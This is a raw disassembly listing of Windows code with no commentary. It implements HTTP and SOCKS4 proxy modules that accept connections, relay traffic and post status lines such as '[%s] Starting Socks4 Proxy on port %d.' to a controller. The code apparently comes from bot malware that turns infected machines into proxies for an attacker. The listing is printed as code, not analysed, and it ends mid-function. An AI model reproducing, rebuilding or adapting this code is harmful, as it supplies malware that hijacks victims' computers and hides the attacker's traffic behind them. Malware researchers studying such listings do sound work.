		mov	byte ptr [esp+1Ch+arg_5480], 2
		call	sub_401226


loc_4292FF:				; CODE XREF: sub_4282C0+191j
					; sub_4282C0+1AAj ...
		lea	ecx, [esp+1Ch+arg_10]
		mov	byte ptr [esp+1Ch+arg_5480], 1
		call	sub_401226


loc_429310:				; CODE XREF: sub_4282C0+85j
		lea	ecx, [esp+1Ch+var_8]
		mov	byte ptr [esp+1Ch+arg_5480], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_98]
		mov	[esp+1Ch+arg_5480], esi
		call	sub_4014B0
		jmp	loc_42928C
; ---------------------------------------------------------------------------


loc_429339:				; CODE XREF: sub_4282C0+503j
		mov	eax, [ebp+0BBh]
		push	eax
		nop
		call	near ptr 71AB9639h
		jmp	loc_4294AA
; ---------------------------------------------------------------------------


loc_42934B:				; CODE XREF: sub_4282C0+644j
		lea	ecx, [esp+2Ch+arg_9D]
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+30h+var_18]
		push	offset aHttp1_0503Serv ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	ecx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+2Ch+var_18]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+34h+var_18]
		call	sub_4017E4
		mov	edx, [ebp+0BBh]
		push	eax
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	eax, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	eax
		call	esi	; closesocket
		mov	ecx, [ebp+0BFh]
		push	ecx
		jmp	loc_4294A8
; ---------------------------------------------------------------------------


loc_4293A8:				; CODE XREF: sub_4282C0+660j
		mov	edx, [esp+38h+arg_D0]
		lea	ecx, [esp+38h+arg_91]
		push	edx
		call	sub_4017E4
		push	eax
		lea	eax, [esp+40h+var_24]
		push	offset aHttp1_0503Se_0 ; "HTTP/1.0 503 Service Unavailable\r\nServe"...
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+38h+var_24]
		push	0
		call	sub_4013D9
		push	eax
		lea	ecx, [esp+40h+var_24]
		call	sub_4017E4
		mov	ecx, [ebp+0BBh]
		push	eax
		push	ecx
		nop
		call	near ptr 71AB428Ah


loc_4293F2:				; CODE XREF: sub_4282C0+711j
					; sub_4282C0+719j
		mov	edx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	edx
		call	esi	; closesocket
		mov	eax, [ebp+0BFh]
		push	eax
		jmp	loc_4294A8
; ---------------------------------------------------------------------------


loc_42940D:				; CODE XREF: sub_4282C0+5EEj
		mov	ecx, [ebp+0BBh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		jmp	loc_4294AA
; ---------------------------------------------------------------------------


loc_42941F:				; CODE XREF: sub_4282C0+73Fj
		lea	ecx, [esp+48h+arg_3C]
		mov	byte ptr [esp+48h+arg_5454], 0Dh
		call	sub_401226
		lea	ecx, [esp+48h+arg_14]
		mov	byte ptr [esp+48h+arg_5454], 0Ch
		call	sub_401226
		lea	ecx, [esp+48h]
		mov	byte ptr [esp+48h+arg_5454], 2
		call	sub_401226
		lea	ecx, [esp+48h+var_18]
		mov	byte ptr [esp+48h+arg_5454], 1
		call	sub_401226
		lea	ecx, [esp+48h+var_34]
		mov	byte ptr [esp+48h+arg_5454], 0
		call	sub_401226
		lea	ecx, [esp+48h+arg_6C]
		mov	[esp+48h+arg_5454], ebx
		call	sub_4014B0
		or	esi, 0FFFFFFFFh
		jmp	loc_42928C
; ---------------------------------------------------------------------------


loc_429492:				; CODE XREF: sub_4282C0+D45j
					; sub_4282C0+D4Dj
		mov	ecx, [ebp+0BBh]
		mov	esi, dword_50FC88
		push	ecx
		call	esi	; closesocket
		mov	edx, [ebp+0BFh]
		push	edx


loc_4294A8:				; CODE XREF: sub_4282C0+10E3j
					; sub_4282C0+1148j
		call	esi	; closesocket


loc_4294AA:				; CODE XREF: sub_4282C0+1086j
					; sub_4282C0+115Aj
		lea	ecx, [esp+50h+arg_34]
		mov	byte ptr [esp+50h+arg_544C], 0Dh
		call	sub_401226
		lea	ecx, [esp+50h+arg_C]
		mov	byte ptr [esp+50h+arg_544C], 0Ch
		call	sub_401226
		lea	ecx, [esp+50h+var_8]
		mov	byte ptr [esp+50h+arg_544C], 2
		call	sub_401226
		lea	ecx, [esp+50h+var_20]
		mov	byte ptr [esp+50h+arg_544C], 1
		call	sub_401226
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+arg_544C], 0
		call	sub_401226
		lea	ecx, [esp+50h+arg_64]
		mov	[esp+50h+arg_544C], ebx
		call	sub_4014B0
		jmp	loc_4292C4
sub_4282C0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 4A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4299C0	proc near		; CODE XREF: sub_4018DEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4299C0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aHttp_0	; "HTTP"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E15C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4299C0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429A30:				; CODE XREF: ___:loc_40112Cj
					; ___:0040128Fj
		push	esi
		mov	esi, ecx
		call	sub_402108
		test	byte ptr [esp+8], 1
		jz	short loc_429A48
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429A48:				; CODE XREF: ___:00429A3Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429A60	proc near		; CODE XREF: sub_402108j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+9Eh]
		mov	dword ptr [esi], offset	off_43E15C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_429A7B
		push	eax
		nop
		call	near ptr 71AB9639h


loc_429A7B:				; CODE XREF: sub_429A60+12j
		mov	ecx, esi
		call	sub_40179E
		pop	esi
		retn
sub_429A60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429AA0	proc near		; CODE XREF: sub_4010E1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429AA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	edi
		mov	edi, ecx
		mov	dword ptr [edi+9Eh], 0FFFFFFFFh


loc_429AC3:				; CODE XREF: sub_429AA0+48j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jz	short loc_429AEA
		mov	ecx, [edi+3Bh]
		push	ecx
		call	sub_40197E
		add	esp, 4
		cmp	eax, 0FFFFFFFFh
		mov	[edi+9Eh], eax
		jz	short loc_429AC3


loc_429AEA:				; CODE XREF: sub_429AA0+31j
		mov	edx, [edi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_429BBC
		push	ebp
		push	esi


loc_429B00:				; CODE XREF: sub_429AA0+114j
		mov	eax, [edi+9Eh]
		push	eax
		call	sub_4012DF
		mov	ebp, eax
		add	esp, 4
		cmp	ebp, 0FFFFFFFFh
		jz	loc_429B9B
		test	ebp, ebp
		jz	short loc_429B9B
		push	0C3h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+1Ch+var_10], eax
		test	eax, eax
		mov	[esp+1Ch+var_4], 0
		jz	short loc_429B46
		mov	ecx, eax
		call	sub_401884
		mov	esi, eax
		jmp	short loc_429B48
; ---------------------------------------------------------------------------


loc_429B46:				; CODE XREF: sub_429AA0+99j
		xor	esi, esi


loc_429B48:				; CODE XREF: sub_429AA0+A4j
		mov	ecx, [edi+99h]
		mov	[esi+9Dh], edi
		mov	[esi+99h], ecx
		mov	edx, [edi+3Bh]
		lea	eax, [edi+26h]
		lea	ecx, [esi+26h]
		push	eax
		mov	[esp+20h+var_4], 0FFFFFFFFh
		mov	[esi+3Bh], edx
		mov	[esi+0BBh], ebp
		call	sub_401FBE
		mov	cl, [edi+97h]
		mov	[esi+97h], cl
		mov	dl, [edi+98h]
		mov	ecx, esi
		mov	[esi+98h], dl
		call	sub_4013D4
		jmp	short loc_429BA6
; ---------------------------------------------------------------------------


loc_429B9B:				; CODE XREF: sub_429AA0+74j
					; sub_429AA0+7Cj
		push	0FAh
		nop
		call	near ptr 2811D0Bh


loc_429BA6:				; CODE XREF: sub_429AA0+F9j
		mov	eax, [edi+99h]
		mov	cl, [eax+11Ch]
		test	cl, cl
		jnz	loc_429B00
		pop	esi
		pop	ebp


loc_429BBC:				; CODE XREF: sub_429AA0+58j
		mov	edi, [edi+9Eh]
		cmp	edi, 0FFFFFFFFh
		jz	short loc_429BCE
		push	edi
		call	near ptr 71AB9639h
		nop


loc_429BCE:				; CODE XREF: sub_429AA0+125j
		mov	ecx, [esp+14h+var_C]
		pop	edi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429AA0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429C30	proc near		; CODE XREF: sub_40137Aj
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	al, [esi+9Dh]
		lea	edi, [esi+11h]
		test	al, al
		mov	eax, [esi+3Bh]
		lea	ebx, [esi+26h]
		push	eax
		mov	ecx, edi
		jz	short loc_429C58
		call	sub_4017E4
		push	eax
		push	offset aSStartingProxy ; "[%s] Starting	proxy on %d with SSL."
		jmp	short loc_429C63
; ---------------------------------------------------------------------------


loc_429C58:				; CODE XREF: sub_429C30+19j
		call	sub_4017E4
		push	eax
		push	offset aSStartingPro_0 ; "[%s] Starting	proxy on port %d."


loc_429C63:				; CODE XREF: sub_429C30+26j
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		mov	ecx, esi
		call	sub_4010E1
		mov	eax, [esi+3Bh]
		mov	ecx, edi
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedProxy ; "[%s] Unloaded	proxy on port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_429C30	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429D00	proc near		; CODE XREF: sub_40211Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_429D00
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E16C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_429D00	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_429D70:				; CODE XREF: ___:00401870j
					; ___:loc_401B04j
		push	esi
		mov	esi, ecx
		call	sub_401F87
		test	byte ptr [esp+8], 1
		jz	short loc_429D88
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_429D88:				; CODE XREF: ___:00429D7Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_429DA0	proc near		; CODE XREF: sub_401F87j
		jmp	sub_40179E
sub_429DA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_429DC0	proc near		; CODE XREF: sub_4010AFj

var_81D		= byte ptr -81Dh
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= byte ptr -808h
var_807		= byte ptr -807h
var_806		= word ptr -806h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
var_400		= byte ptr -400h

		sub	esp, 820h
		lea	eax, [esp+820h+var_81D]
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_50FC90
		mov	ebp, ecx
		push	edi
		push	0
		push	1
		mov	ecx, [ebp+0A1h]
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_429E01
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E01:				; CODE XREF: sub_429DC0+27j
		cmp	[esp+830h+var_81D], 4
		jnz	loc_429FEC
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_807]
		push	406h
		push	eax
		push	ecx
		call	esi	; recv
		cmp	eax, 1
		jge	short loc_429E3E
		mov	edx, [ebp+0A1h]
		push	edx
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429E3E:				; CODE XREF: sub_429DC0+64j
		cmp	[esp+830h+var_807], 1
		jnz	loc_429FEC
		mov	cx, [esp+830h+var_806]
		mov	edx, [esp+830h+var_804]
		xor	eax, eax
		push	6
		mov	[esp+834h+var_818], eax
		push	1
		mov	[esp+838h+var_814], eax
		push	2
		mov	[esp+83Ch+var_810], eax
		mov	word ptr [esp+83Ch+var_818], 2
		mov	[esp+83Ch+var_80C], eax
		mov	word ptr [esp+83Ch+var_818+2], cx
		mov	[esp+83Ch+var_814], edx
		call	near ptr 71AB3B91h
		nop
		mov	ebx, eax
		lea	eax, [esp+830h+var_818]
		push	10h
		push	eax
		push	ebx
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		mov	[esp+830h+var_808], 0
		jnz	short loc_429ED9
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Bh
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	eax, [ebp+0A1h]
		push	eax
		nop
		call	near ptr 71AB9639h
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
; ---------------------------------------------------------------------------


loc_429ED9:				; CODE XREF: sub_429DC0+D8j
		mov	edx, [ebp+0A1h]
		mov	ecx, 100h
		xor	eax, eax
		lea	edi, [esp+830h+var_800]
		mov	[esp+830h+var_807], 5Ah
		push	eax
		rep stosd
		lea	ecx, [esp+834h+var_808]
		push	8
		push	ecx
		push	edx
		call	near ptr 71AB428Ah
		nop
		mov	ecx, [ebp+0A1h]
		mov	esi, dword_50FC50
		lea	eax, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	eax
		push	8004667Eh
		push	ecx
		call	esi	; ioctlsocket
		lea	edx, [esp+830h+var_81C]
		mov	[esp+830h+var_81C], 1
		push	edx
		push	8004667Eh
		push	ebx
		call	esi	; ioctlsocket


loc_429F36:				; CODE XREF: sub_429DC0+1AFj
					; sub_429DC0+1FEj ...
		mov	edi, dword_50FC90
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ebx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	loc_429FDA
		jge	short loc_429F71
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_429F71
		push	0Ah
		call	near ptr 2811D0Bh
		nop
		jmp	short loc_429F36
; ---------------------------------------------------------------------------


loc_429F71:				; CODE XREF: sub_429DC0+198j
					; sub_429DC0+1A5j
		mov	edx, [ebp+0A1h]
		push	0
		lea	ecx, [esp+834h+var_400]
		push	esi
		push	ecx
		push	edx
		nop
		call	near ptr 71AB428Ah
		mov	ecx, [ebp+0A1h]
		push	0
		lea	eax, [esp+834h+var_400]
		push	400h
		push	eax
		push	ecx
		call	edi	; recv
		mov	esi, eax
		test	esi, esi
		jz	short loc_429FDA
		jge	short loc_429FC3
		call	near ptr 71AB94DCh
		nop
		cmp	eax, 2733h
		jz	short loc_429FC3
		push	0Ah
		nop
		call	near ptr 2811D0Bh
		jmp	loc_429F36
; ---------------------------------------------------------------------------


loc_429FC3:				; CODE XREF: sub_429DC0+1E7j
					; sub_429DC0+1F4j
		push	0
		lea	edx, [esp+834h+var_400]
		push	esi
		push	edx
		push	ebx
		nop
		call	near ptr 71AB428Ah
		jmp	loc_429F36
; ---------------------------------------------------------------------------


loc_429FDA:				; CODE XREF: sub_429DC0+192j
					; sub_429DC0+1E5j
		mov	eax, [ebp+0A1h]
		mov	esi, dword_50FC88
		push	eax
		call	esi	; closesocket
		push	ebx
		call	esi	; closesocket


loc_429FEC:				; CODE XREF: sub_429DC0+46j
					; sub_429DC0+83j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 820h
		retn
sub_429DC0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A090	proc near		; CODE XREF: sub_40216Cj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_42A090
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401F82
		push	offset aSocks4	; "Socks4"
		lea	ecx, [esi+11h]
		mov	[esp+18h+var_4], 0
		mov	dword ptr [esi], offset	off_43E17C
		call	sub_4015D7
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_42A090	endp

; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A100	proc near		; CODE XREF: ___:00401032j sub_4017A8j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401C3A
		test	[esp+4+arg_0], 1
		jz	short loc_42A118
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_42A118:				; CODE XREF: sub_42A100+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42A100	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42A130	proc near		; CODE XREF: sub_401C3Aj
		jmp	sub_40179E
sub_42A130	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A150	proc near		; CODE XREF: sub_40188Ej

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_42A150
		push	eax
		mov	large fs:0, esp
		sub	esp, 28h
		push	ebx
		push	esi
		mov	esi, ecx
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		lea	ebx, [esi+26h]
		call	sub_4017E4
		push	eax
		push	offset aSStartingSocks ; "[%s] Starting	Socks4 Proxy on	port %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esi+9Dh], eax
		jz	loc_42A359
		mov	cx, [esi+3Bh]
		xor	eax, eax
		mov	[esp+3Ch+var_2C], eax
		push	ecx
		mov	[esp+40h+var_28], eax
		mov	word ptr [esp+40h+var_2C], 2
		mov	[esp+40h+var_24], eax
		mov	[esp+40h+var_20], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+3Ch+var_2C+2], ax
		mov	eax, [esi+9Dh]
		lea	edx, [esp+3Ch+var_2C]
		push	10h
		push	edx
		push	eax
		mov	[esp+48h+var_34], 10h
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_42A226
		mov	ecx, [esi+9Dh]
		push	ecx
		nop
		call	near ptr 71AB9639h
		pop	esi
		pop	ebx
		mov	ecx, [esp+34h+var_C]
		mov	large fs:0, ecx
		add	esp, 34h
		retn
; ---------------------------------------------------------------------------


loc_42A226:				; CODE XREF: sub_42A150+B6j
		mov	edx, [esi+99h]
		push	ebp
		push	edi
		mov	al, [edx+11Ch]
		test	al, al
		jz	loc_42A310


loc_42A23C:				; CODE XREF: sub_42A150+1BAj
		mov	eax, [esi+9Dh]
		push	0Ah
		push	eax
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_42A260
		push	0FAh
		nop
		call	near ptr 2811D0Bh
		jmp	loc_42A2FC
; ---------------------------------------------------------------------------


loc_42A260:				; CODE XREF: sub_42A150+FEj
		mov	eax, [esi+9Dh]
		lea	ecx, [esp+40h+var_30]
		lea	edx, [esp+40h+var_18]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	ebp, eax
		cmp	ebp, 0FFFFFFFFh
		jz	loc_42A310
		xor	edi, edi
		cmp	ebp, edi
		jz	loc_42A310
		push	0A5h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+44h+var_30], eax
		cmp	eax, edi
		mov	[esp+44h+var_4], edi
		jz	short loc_42A2AE
		mov	ecx, eax
		call	sub_40211C
		mov	edi, eax


loc_42A2AE:				; CODE XREF: sub_42A150+153j
		mov	ecx, [esi+99h]
		mov	[edi+9Dh], esi
		mov	[edi+99h], ecx
		mov	edx, [esi+3Bh]
		push	ebx
		lea	ecx, [edi+26h]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		mov	[edi+3Bh], edx
		mov	[edi+0A1h], ebp
		call	sub_401FBE
		mov	al, [esi+97h]
		mov	[edi+97h], al
		mov	cl, [esi+98h]
		mov	[edi+98h], cl
		mov	ecx, edi
		call	sub_4013D4


loc_42A2FC:				; CODE XREF: sub_42A150+10Bj
		mov	edx, [esi+99h]
		mov	al, [edx+11Ch]
		test	al, al
		jnz	loc_42A23C


loc_42A310:				; CODE XREF: sub_42A150+E6j
					; sub_42A150+12Cj ...
		mov	eax, [esi+9Dh]
		pop	edi
		cmp	eax, 0FFFFFFFFh
		pop	ebp
		jz	short loc_42A324
		push	eax
		call	near ptr 71AB9639h
		nop


loc_42A324:				; CODE XREF: sub_42A150+1CBj
		mov	eax, [esi+3Bh]
		lea	ecx, [esi+11h]
		push	eax
		call	sub_4017E4
		push	eax
		push	offset aSUnloadedPro_0 ; "[%s] Unloaded	proxy on %d."
		mov	ecx, ebx
		call	sub_4014D3
		mov	cl, [esi+98h]
		mov	dl, [esi+97h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D60B5
		call	sub_401848
		add	esp, 1Ch


loc_42A359:				; CODE XREF: sub_42A150+69j
		mov	ecx, [esp+3Ch+var_C]
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 34h
		retn
sub_42A150	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 90h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A400	proc near		; CODE XREF: sub_40174Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		nop
		call	near ptr 71AB4FD4h
		test	eax, eax
		jz	short loc_42A421
		mov	ecx, [eax+0Ch]
		mov	edx, [ecx]
		mov	ecx, [esp+arg_4]
		mov	eax, [edx]
		mov	[ecx], eax
		mov	al, 1
		retn	8
; ---------------------------------------------------------------------------


loc_42A421:				; CODE XREF: sub_42A400+Dj
		xor	al, al
		retn	8
sub_42A400	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A440	proc near		; CODE XREF: sub_4020C2j

var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_400		= byte ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 50Ch
		push	ebx
		mov	ebx, [esp+510h+arg_4]
		push	ebp
		push	esi
		push	edi
		mov	[esp+51Ch+var_50C], 0
		mov	[esp+51Ch+var_508], 0


loc_42A461:				; CODE XREF: sub_42A440+12Cj
		mov	ebp, [esp+51Ch+arg_0]
		mov	[esp+51Ch+var_504], 1
		mov	[esp+51Ch+var_500], ebp
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A47A:				; CODE XREF: sub_42A440+45j
		cmp	[ecx], ebx
		jz	short loc_42A487
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A47A


loc_42A487:				; CODE XREF: sub_42A440+3Cj
		cmp	eax, 1
		jnz	short loc_42A498
		mov	[esp+51Ch+var_4FC], ebx
		mov	[esp+51Ch+var_504], 2


loc_42A498:				; CODE XREF: sub_42A440+4Aj
		lea	eax, [esp+51Ch+var_50C]
		lea	ecx, [esp+51Ch+var_504]
		push	eax
		push	0
		push	0
		push	ecx
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jbe	short loc_42A523
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A523
		lea	edx, [esp+51Ch+var_504]
		push	edx
		push	ebp
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_42A4CC
		mov	eax, ebp
		mov	ebp, ebx
		jmp	short loc_42A4CE
; ---------------------------------------------------------------------------


loc_42A4CC:				; CODE XREF: sub_42A440+84j
		mov	eax, ebx


loc_42A4CE:				; CODE XREF: sub_42A440+8Aj
		push	0
		lea	ecx, [esp+520h+var_400]
		push	3FFh
		push	ecx
		push	eax
		nop
		call	near ptr 71AB615Ah
		mov	edi, eax
		xor	esi, esi
		cmp	edi, 0FFFFFFFFh
		mov	[esp+edi+51Ch+var_400],	0
		jz	short loc_42A572
		test	edi, edi
		jz	short loc_42A572
		jbe	short loc_42A51C


loc_42A4FB:				; CODE XREF: sub_42A440+DAj
		mov	edx, edi
		push	0
		sub	edx, esi
		lea	eax, [esp+esi+520h+var_400]
		push	edx
		push	eax
		push	ebp
		nop
		call	near ptr 71AB428Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42A572
		add	esi, eax
		cmp	esi, edi
		jb	short loc_42A4FB


loc_42A51C:				; CODE XREF: sub_42A440+B9j
		mov	ebp, [esp+51Ch+arg_0]


loc_42A523:				; CODE XREF: sub_42A440+70j
					; sub_42A440+75j
		mov	[esp+51Ch+var_500], ebp
		mov	[esp+51Ch+var_504], 1
		xor	eax, eax
		lea	ecx, [esp+51Ch+var_500]


loc_42A535:				; CODE XREF: sub_42A440+100j
		cmp	[ecx], ebx
		jz	short loc_42A542
		inc	eax
		add	ecx, 4
		cmp	eax, 1
		jb	short loc_42A535


loc_42A542:				; CODE XREF: sub_42A440+F7j
		cmp	eax, 1
		jnz	short loc_42A554
		mov	[esp+eax*4+51Ch+var_500], ebx
		mov	eax, [esp+51Ch+var_504]
		inc	eax
		mov	[esp+51Ch+var_504], eax


loc_42A554:				; CODE XREF: sub_42A440+105j
		lea	ecx, [esp+51Ch+var_50C]
		lea	edx, [esp+51Ch+var_504]
		push	ecx
		push	edx
		push	0
		push	0
		push	2
		nop
		call	near ptr 71AB2DC0h
		test	eax, eax
		jle	loc_42A461


loc_42A572:				; CODE XREF: sub_42A440+B3j
					; sub_42A440+B7j ...
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 50Ch
		retn	8
sub_42A440	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42A5F0	proc near		; CODE XREF: sub_401C1Cj

var_51C		= word ptr -51Ch
var_51A		= word ptr -51Ah
var_518		= dword	ptr -518h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_400		= dword	ptr -400h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 51Ch
